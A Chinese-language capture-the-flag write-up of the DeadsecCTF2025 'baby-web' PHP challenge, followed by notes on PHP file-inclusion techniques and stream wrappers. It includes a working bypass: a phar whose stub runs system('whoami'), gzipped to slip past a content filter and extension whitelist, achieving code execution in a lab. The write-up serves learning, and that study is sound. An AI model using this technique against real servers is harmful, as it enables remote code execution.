做题笔记:
DeadsecCTF2025 baby-web
ubuntu虚拟环境下安装中间件和php,这里我用的nginx和php8.3
在nginx的html目录下放两个php文件
update.php:
<?php session_start(); error_reporting(0); $allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; $allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed', ]; function filter($tempfile) { $data = file_get_contents($tempfile); if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true; } return false; } if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = random_bytes(4); } $SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']); if (!file_exists($SANDBOX)) { mkdir($SANDBOX); } if ($_SERVER["REQUEST_METHOD"] == 'POST') { if (is_uploaded_file($_FILES['file']['tmp_name'])) { if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) { die("Nope :<"); } // mimetype check $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($mime_type, $allowed_mime_types)) { die('Nope :<'); } // ext check $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION)); if (!in_array($ext, $allowed_extensions)) { die('Nope :<'); } if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) { echo "File upload success!"; } } } ?> <form enctype='multipart/form-data' action='upload.php' method='post'> <input type='file' name='file'> <input type="submit" value="upload"></p> </form>index.php:
<?php session_start(); error_reporting(0); if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = random_bytes(4); } if (!isset($_GET['url'])) { die("Nope :<"); } $include_url = basename($_GET['url']); $SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']); if (!file_exists($SANDBOX)) { mkdir($SANDBOX); } if (!file_exists($SANDBOX . '/' . $include_url)) { die("Nope :<"); } if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) { die("Nope :<"); } @include($SANDBOX . '/' . $include_url); ?> 我们在这里的主要的限制是在update文件的白名单以及文件内容的过滤: //文件类型的白名单 $allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; $allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed', ]; //文件内容的过滤 if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true;此处杜绝了伪协议的使用
@include($SANDBOX . '/' . $include_url);那么这题只有深入底层才能解出可能,当我们include一个文件的时候,会调用一个叫做 compile_filename 的方法:
zend_op_array compile_filename(int type, zend_string filename) { zend_file_handle file_handle; zend_op_array retval; zend_string opened_path = NULL; zend_stream_init_filename_ex(&file_handle, filename); retval = zend_compile_file(&file_handle, type); if (retval && file_handle.handle.stream.handle) { if (!file_handle.opened_path) { file_handle.opened_path = opened_path = zend_string_copy(filename); } zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path); if (opened_path) { zend_string_release_ex(opened_path, 0); } } zend_destroy_file_handle(&file_handle); return retval; }继续定位到phar对应的编译方法,需要看到 phar_compile_file :
可以看到当他判断到 strstr(ZSTR_VAL(file_handle filename), ".phar") ,也就是发现文件名 中 包 含 字 符 串 .phar , 会 调 用 phar_open_from_filename , 继 续 跟 phar_open_from_filename :
可以看到这里调用了一个叫 phar_open_from_fp 的东西,继续跟一下:
直接让ai解释一下: phar_open_from_fp() 是用于从一个 php_stream (即打开的文件流)中 解析并打开一个 Phar 文件(PHP Archive)的函数:
打开 phar 文件流 ↓ 尝试 rewind 到起始位置 ↓ 是否 gzip?→ 解压 → rewind 是否 bzip2?→ 解压 → rewind 是否 zip?→ phar_parse_zipfile 是否 tar?→ phar_parse_tarfile ↓ 扫描 HALT_COMPILER(); ↓ 找到了 → phar_parse_pharfile() 找不到 → 报错并退出由此可得,我们解题整体思路应该是:
生成了一个phar文件,然后把他打包成gz文件,当include这个gz文件时,php会默认把这个gz文件解压回phar进行解析,比如我们用下面这个代码生成一个phar文件。
<?php $phar = new Phar('exploit.phar'); $phar -> startBuffering(); $stub = <<<'STUB' <?php system('whoami'); __HALT_COMPILER(); ?> STUB; $phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>在打包一下,可以看到关键字已经完全消失了:
关键字已经完全消失了,而且我们此时的后缀也已经是gz了,属于白名单中。
验证:
root@zou-VMware-Virtual-Platform:/usr/local/nginx/html# /root/php-src-php-8.3.23/sapi/cli/php -S 0.0.0.0:8899
结果显示root,说明我们的文件成功上传并进行了文件包含。
c底层的调试在vscode和pwndbg上进行:
文件包含漏洞(File Inclusion Vulnerability)
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
文件包含漏洞环境要求
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
常见文件包含函数
php中常见的文件包含函数有以下四种:
include()
require()
include_once()
require()_once()
include与require基本是相同的,除了错误处理方面:
include(),只生成警告(E_WARNING),并且脚本会继续
require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上
php伪协议总结
一.【file://协议】
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
用法:file:// [文件的绝对路径和文件名]
示例:
file.php:
<?php include($_GET['file']); ?>1.txt:
<?php phpinfo();二.【php://协议】
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq
php://filter
读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
示例:
“include 会执行 PHP 代码” 的前提是:它读到的内容必须是“看起来像 PHP 代码”的字节流。
一旦你用 php://filter/read=convert.base64-encode 把真正的 PHP 代码提前变成了“一串看不懂的 Base64 文字”,include 就只能老老实实把这串文字吐到页面上,根本不会去执行。
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
三.【zip://, bzip2://, zlib://协议】
四.【DATA://与PHAR://】
包含APACHE日志文件
包含SESSION
包含/PROC/SELF/ENVIRON
包含临时文件
包含上传文件
总结:
1.底层调试环境pwndbg调试php8.2成功,vscode调试php8.1-dev后门成功。
2.利用phar及压缩文件绕过文件内容过滤和白名单实现成功。
3.利用docker容器环境还原后门,利用后门执行代码成功。
4.底层调试的环境和过程还需要进一步熟悉。
5.文件包含内容:日志文件包含成功,session文件包含成功。
6.临时文件包含pythone脚本需要进一步理解与运用。